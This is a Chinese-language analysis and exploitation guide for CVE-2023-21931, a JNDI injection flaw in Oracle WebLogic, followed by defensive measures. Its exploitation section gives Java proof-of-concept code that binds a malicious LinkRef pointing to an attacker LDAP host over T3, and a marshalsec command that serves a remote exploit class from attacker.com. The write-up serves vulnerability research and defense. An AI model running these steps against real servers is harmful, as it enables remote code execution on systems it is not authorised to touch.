CVE-2023-21931 WebLogic JNDI注入漏洞分析与利用指南
漏洞概述
CVE-2023-21931是Oracle WebLogic Server中的一个JNDI注入漏洞,影响以下版本:
- 12.2.1.3.0
- 12.2.1.4.0
- 14.1.1.0.0
该漏洞允许攻击者通过T3协议向WebLogic服务发送恶意请求,导致JNDI注入攻击,可能实现远程代码执行。
漏洞原理
核心机制
该漏洞与之前的CVE-2023-21839类似,都是由于WebLogic的T3/IIOP协议支持远程绑定对象(bind/rebind)到服务端,并在调用lookup时存在参数可控的问题。
具体来说,当WebLogic处理LinkRef对象时,会调用LinkRef#getLinkName方法获取ldap查询字符串,而这个字符串可以被攻击者控制,从而导致JNDI注入。
关键调用栈
漏洞触发时的关键调用栈如下:
InitialContext.lookupWLNamingManager.getObjectInstanceServerNamingNode.resolveObjectBasicNamingNode.resolveObjectBasicNamingNode.lookupRootNamingNode_WLSkel.invokeBasicServerRef.invoke
漏洞分析
漏洞触发点
漏洞主要存在于WLNamingManager#getObjectInstance方法中,当处理绑定的对象是LinkRef类型时,会进入特定的处理分支:
else if (var3 instanceof LinkRef) {
LinkRef var4 = (LinkRef)var3;
String var5 = var4.getLinkName();
if (var5 != null) {
var2 = this.getInitialContext().lookup(var5);
}
}
攻击者可以通过构造恶意的LinkRef对象,控制getLinkName()返回的字符串,从而控制lookup方法的参数。
验证Demo
一个简单的验证代码如下:
LinkRef linkRef = new LinkRef("ldap://attacker.com:1389/malicious");
// 绑定到WebLogic
context.rebind("vulnerable", linkRef);
// 触发漏洞
context.lookup("vulnerable");
漏洞利用
利用步骤
-
准备恶意LDAP服务器:搭建一个恶意的LDAP服务器,指向包含恶意Java类的HTTP服务器。
-
绑定恶意对象:
String url = "t3://target:7001"; Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory"); env1.put(Context.PROVIDER_URL, url); InitialContext c = new InitialContext(env1); LinkRef linkRef = new LinkRef("ldap://attacker:1389/exploit"); c.rebind("exploit", linkRef); -
触发漏洞:通过调用
lookup方法触发JNDI注入:context.lookup("exploit");
实际利用示例
-
启动JNDI注入工具(如marshalsec):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389 -
运行漏洞利用程序绑定恶意
LinkRef对象。 -
成功利用后,攻击者可以在目标服务器上执行任意代码。
防御措施
-
官方补丁:及时应用Oracle发布的安全补丁。
-
网络防护:
- 限制WebLogic服务的网络访问,只允许可信IP访问T3/IIOP端口
- 在网络边界过滤包含恶意JNDI查询的T3协议流量
-
配置加固:
- 禁用不必要的协议(如T3)
- 设置
weblogic.jndi.enableLookup为false禁用JNDI查找功能
-
运行时防护:
- 部署RASP解决方案监控可疑的JNDI操作
- 使用Java安全管理器限制JNDI操作
参考资源
总结
CVE-2023-21931是一个严重的WebLogic安全漏洞,允许攻击者通过JNDI注入实现远程代码执行。理解其原理和利用方式对于安全研究人员和系统管理员都至关重要,既能帮助进行有效的漏洞验证,也能指导正确的防御措施部署。